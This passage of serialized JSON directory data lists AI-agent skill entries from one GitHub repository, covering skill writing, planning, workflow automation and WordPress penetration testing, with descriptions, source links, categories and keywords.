Testing","injection","scripting","site","html","exploit","user","applications","xss","cookies","content","test","vectors","via","steal","security",{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":146,"publishedAt":43},"01M6DY3D694G80Y5N79CD1J575","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[137,138,141],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":142,"categoryName":143,"taxonomyType":144,"taxonomyTypeDesc":145},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[102,147,148,33,149,150],"writing skills","deployment","editing","work",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":159,"publishedAt":43},"01M6DY3A7BM31W5Q2QARW00JHS","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[157,158],{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":142,"categoryName":143,"taxonomyType":144,"taxonomyTypeDesc":145},[160,102,161,162,163,33,100,164],"writing plans","plans","requirements","task","spec",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":172,"publishedAt":43},"01M6DY36NSATM95HR7HMVZJYB3","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[171],{"categoryNo":81,"categoryName":82,"taxonomyType":21,"taxonomyTypeDesc":22},[173,101,86,174,175,176,99,177,178,179,180,181,182,183,184,185,186,187,188,189],"Workflow Automation","Production","flow","network","workflows","accessibility","ai agents","execution","scripts","worker","payment","n8n","money","resume","orchestrator","parallel","inngest",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":197,"publishedAt":43},"01M6DY32QTGD80MQHJ8TPDH53H","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[196],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[34,192,39,198,199,200,31,25,120,33,121,201,202,42,130],"wordpress","security assessment","sites","plugins","assessment"]